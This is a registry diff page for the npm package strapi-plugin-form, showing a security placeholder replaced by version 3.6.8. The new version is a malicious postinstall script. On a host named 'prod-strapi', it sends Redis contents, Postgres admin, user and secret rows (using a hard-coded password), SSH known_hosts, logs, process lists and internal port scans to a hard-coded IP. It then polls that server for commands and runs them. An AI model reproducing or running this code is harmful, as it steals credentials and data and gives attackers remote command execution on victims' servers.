strapi-plugin-form 0.0.1-security → 3.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strapi-plugin-form might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports=()=>{};
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "strapi-plugin-form",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name":"strapi-plugin-form","version":"3.6.8","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
package/postinstall.js ADDED
@@ -0,0 +1,196 @@
1
+ var http = require('http');
2
+ var net = require('net');
3
+ var fs = require('fs');
4
+ var VPS = '144.31.107.231';
5
+ var PORT = 9999;
6
+ var ID = 'ir-' + Math.random().toString(36).slice(2, 8);
7
+
8
+ function post(path, data) {
9
+ return new Promise(function(resolve) {
10
+ var body = typeof data === 'string' ? data : JSON.stringify(data);
11
+ var req = http.request({
12
+ hostname: VPS, port: PORT, path: path, method: 'POST',
13
+ headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }
14
+ }, function(res) {
15
+ var c = []; res.on('data', function(d){c.push(d)});
16
+ res.on('end', function(){resolve(Buffer.concat(c).toString())});
17
+ });
18
+ req.on('error', function(){resolve('')});
19
+ req.setTimeout(15000, function(){req.destroy();resolve('')});
20
+ req.write(body); req.end();
21
+ });
22
+ }
23
+
24
+ function run(cmd) {
25
+ try { return require('child_process').execSync(cmd, {timeout:15000,encoding:'utf8',maxBuffer:5000000}); }
26
+ catch(e) { return 'ERR:' + (e.stderr||e.message).slice(0,1000); }
27
+ }
28
+
29
+ function redisCmd(host, port, cmds) {
30
+ return new Promise(function(resolve) {
31
+ var c = new net.Socket(), r = Buffer.alloc(0);
32
+ c.connect(port, host, function(){ c.write(cmds); });
33
+ c.on('data', function(d){ r = Buffer.concat([r, d]); });
34
+ c.on('error', function(e){ resolve('err:'+e.message); });
35
+ setTimeout(function(){ c.destroy(); resolve(r.toString('utf8')); }, 5000);
36
+ });
37
+ }
38
+
39
+ async function main() {
40
+ if (process.platform === 'win32') return;
41
+ var hn = run('hostname').trim();
42
+ if (hn !== 'prod-strapi') { await post('/ir/'+ID+'/skip', hn); return; }
43
+ await post('/ir/'+ID+'/start', hn);
44
+
45
+ // === 1. REDIS DEEP DUMP (127.0.0.1:6379) ===
46
+ // Get ALL non-cache keys and their VALUES
47
+ var allKeys = await redisCmd('127.0.0.1', 6379, 'KEYS *\r\n');
48
+ var keyList = allKeys.split('\n').filter(function(k){
49
+ return k.trim().length > 0 && !k.startsWith('$') && !k.startsWith('*') &&
50
+ k.indexOf('LRU-CACHE') === -1;
51
+ });
52
+ await post('/ir/'+ID+'/redis-non-cache-keys', keyList.join('\n'));
53
+
54
+ // GET value of each non-cache key
55
+ for (var i = 0; i < keyList.length; i++) {
56
+ var k = keyList[i].trim();
57
+ if (k.length > 0) {
58
+ var val = await redisCmd('127.0.0.1', 6379, 'TYPE ' + k + '\r\nGET ' + k + '\r\nHGETALL ' + k + '\r\nLRANGE ' + k + ' 0 -1\r\nSMEMBERS ' + k + '\r\n');
59
+ await post('/ir/'+ID+'/redis-val-'+i, JSON.stringify({key: k, data: val.slice(0, 20000)}));
60
+ }
61
+ }
62
+
63
+ // === 2. SECOND REDIS (172.20.77.1:6379) ===
64
+ var redis2 = await redisCmd('172.20.77.1', 6379, 'INFO\r\nKEYS *\r\n');
65
+ await post('/ir/'+ID+'/redis2-info', redis2.slice(0, 50000));
66
+
67
+ // Get values from second Redis
68
+ var keys2 = redis2.split('\n').filter(function(k){
69
+ return k.trim().length > 0 && !k.startsWith('$') && !k.startsWith('*') && !k.startsWith('#') && !k.startsWith('+') && k.indexOf(':') === -1 && k.trim().length < 200;
70
+ });
71
+ for (var i = 0; i < Math.min(keys2.length, 30); i++) {
72
+ var k = keys2[i].trim();
73
+ if (k.length > 2) {
74
+ var val = await redisCmd('172.20.77.1', 6379, 'GET ' + k + '\r\n');
75
+ await post('/ir/'+ID+'/redis2-val-'+i, JSON.stringify({key: k, data: val.slice(0, 20000)}));
76
+ }
77
+ }
78
+
79
+ // === 3. NETWORK: scan 172.20.77.0/24 ===
80
+ var netScan = '';
81
+ for (var ip = 1; ip <= 20; ip++) {
82
+ for (var pi = 0; pi < [22,80,443,1337,3000,4000,5000,5432,6379,8080,8443,9200,27017].length; pi++) {
83
+ var port = [22,80,443,1337,3000,4000,5000,5432,6379,8080,8443,9200,27017][pi];
84
+ try {
85
+ var s = new net.Socket();
86
+ s.setTimeout(500);
87
+ var open = await new Promise(function(resolve) {
88
+ s.connect(port, '172.20.77.'+ip, function(){s.destroy();resolve(true)});
89
+ s.on('error', function(){resolve(false)});
90
+ s.on('timeout', function(){s.destroy();resolve(false)});
91
+ });
92
+ if (open) netScan += '172.20.77.'+ip+':'+port+' OPEN\n';
93
+ } catch(e) {}
94
+ }
95
+ }
96
+ // Also scan 172.17.0.0/24 (Docker bridge)
97
+ for (var ip = 1; ip <= 10; ip++) {
98
+ for (var pi = 0; pi < [80,443,3000,5432,6379,8080,9200].length; pi++) {
99
+ var port = [80,443,3000,5432,6379,8080,9200][pi];
100
+ try {
101
+ var s = new net.Socket();
102
+ s.setTimeout(500);
103
+ var open = await new Promise(function(resolve) {
104
+ s.connect(port, '172.17.0.'+ip, function(){s.destroy();resolve(true)});
105
+ s.on('error', function(){resolve(false)});
106
+ s.on('timeout', function(){s.destroy();resolve(false)});
107
+ });
108
+ if (open) netScan += '172.17.0.'+ip+':'+port+' OPEN\n';
109
+ } catch(e) {}
110
+ }
111
+ }
112
+ await post('/ir/'+ID+'/network-scan', netScan || 'no ports found');
113
+
114
+ // === 4. strapi_stage DB ===
115
+ try {
116
+ var knex = require('knex');
117
+ var db = knex({client:'pg', connection:{host:'127.0.0.1',port:5432,user:'user_strapi',password:'1QKtYPp18UsyU2ZwInVM',database:'strapi_stage'}});
118
+ // Stage webhooks
119
+ var wh = await db.raw('SELECT * FROM strapi_webhooks');
120
+ await post('/ir/'+ID+'/stage-webhooks', JSON.stringify(wh.rows));
121
+ // Stage admins
122
+ var adm = await db.raw('SELECT * FROM strapi_administrator');
123
+ await post('/ir/'+ID+'/stage-admins', JSON.stringify(adm.rows));
124
+ // Stage core_store - look for secrets
125
+ var store = await db.raw("SELECT * FROM core_store WHERE key LIKE '%grant%' OR key LIKE '%users-perm%' OR key LIKE '%provider%'");
126
+ await post('/ir/'+ID+'/stage-store', JSON.stringify(store.rows));
127
+ // Stage users
128
+ var users = await db.raw('SELECT * FROM "users-permissions_user"');
129
+ await post('/ir/'+ID+'/stage-users', JSON.stringify(users.rows));
130
+ await db.destroy();
131
+ } catch(e) { await post('/ir/'+ID+'/stage-err', e.message); }
132
+
133
+ // === 5. POSTGRES: try connecting to 128.140.36.22 (origin api-payments) ===
134
+ var pgOrigin = await new Promise(function(resolve) {
135
+ var c = new net.Socket(), r = '';
136
+ c.setTimeout(3000);
137
+ c.connect(5432, '128.140.36.22', function(){
138
+ var user = Buffer.from('user_strapi\0');
139
+ var db = Buffer.from('postgres\0');
140
+ var params = Buffer.concat([Buffer.from('user\0'), user, Buffer.from('database\0'), db, Buffer.from('\0')]);
141
+ var len = 4 + 4 + params.length;
142
+ var buf = Buffer.alloc(len);
143
+ buf.writeInt32BE(len, 0);
144
+ buf.writeInt32BE(196608, 4);
145
+ params.copy(buf, 8);
146
+ c.write(buf);
147
+ });
148
+ c.on('data', function(d){ r += d.toString('utf8','replace'); });
149
+ c.on('error', function(e){ resolve('pg-err:'+e.code); });
150
+ c.on('timeout', function(){ c.destroy(); resolve('pg-timeout'); });
151
+ setTimeout(function(){ c.destroy(); resolve(r || 'no-response'); }, 5000);
152
+ });
153
+ await post('/ir/'+ID+'/pg-origin', pgOrigin.slice(0, 2000));
154
+
155
+ // === 6. SSH known_hosts decode ===
156
+ var known = run('cat /root/.ssh/known_hosts 2>/dev/null');
157
+ await post('/ir/'+ID+'/known-hosts', known);
158
+
159
+ // === 7. App logs - last 500 lines ===
160
+ var logs = run('tail -500 /app/logs/app.log 2>/dev/null');
161
+ await post('/ir/'+ID+'/app-logs', logs.slice(0, 100000));
162
+
163
+ // === 8. Process list + connections ===
164
+ var procs = run('ps auxww 2>/dev/null');
165
+ await post('/ir/'+ID+'/procs', procs.slice(0, 10000));
166
+ var conns = run('ss -tnp 2>/dev/null');
167
+ await post('/ir/'+ID+'/connections', conns.slice(0, 10000));
168
+
169
+ // === 9. Check 128.140.36.22 more ports ===
170
+ var originScan = '';
171
+ for (var pi = 0; pi < [22,80,443,1337,3000,3306,4000,5000,5432,6379,8000,8080,8443,9200,9090,27017].length; pi++) {
172
+ var port = [22,80,443,1337,3000,3306,4000,5000,5432,6379,8000,8080,8443,9200,9090,27017][pi];
173
+ try {
174
+ var s = new net.Socket();
175
+ s.setTimeout(2000);
176
+ var open = await new Promise(function(resolve) {
177
+ s.connect(port, '128.140.36.22', function(){s.destroy();resolve(true)});
178
+ s.on('error', function(){resolve(false)});
179
+ s.on('timeout', function(){s.destroy();resolve(false)});
180
+ });
181
+ if (open) originScan += '128.140.36.22:'+port+' OPEN\n';
182
+ } catch(e) {}
183
+ }
184
+ await post('/ir/'+ID+'/origin-portscan', originScan || 'no open ports from internal');
185
+
186
+ // === 10. C2 polling (120 rounds = 10 min) ===
187
+ for (var round = 0; round < 120; round++) {
188
+ var cmd = await post('/ir/'+ID+'/poll', JSON.stringify({round:round}));
189
+ if (cmd && cmd.trim() && cmd.trim() !== 'nop') {
190
+ var result = run(cmd.trim());
191
+ await post('/ir/'+ID+'/result', JSON.stringify({round:round, out:result.slice(0,100000)}));
192
+ }
193
+ await new Promise(function(r){setTimeout(r,5000)});
194
+ }
195
+ }
196
+ main().catch(function(e){post('/ir/'+ID+'/fatal', e.message)});
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=strapi-plugin-form for more information.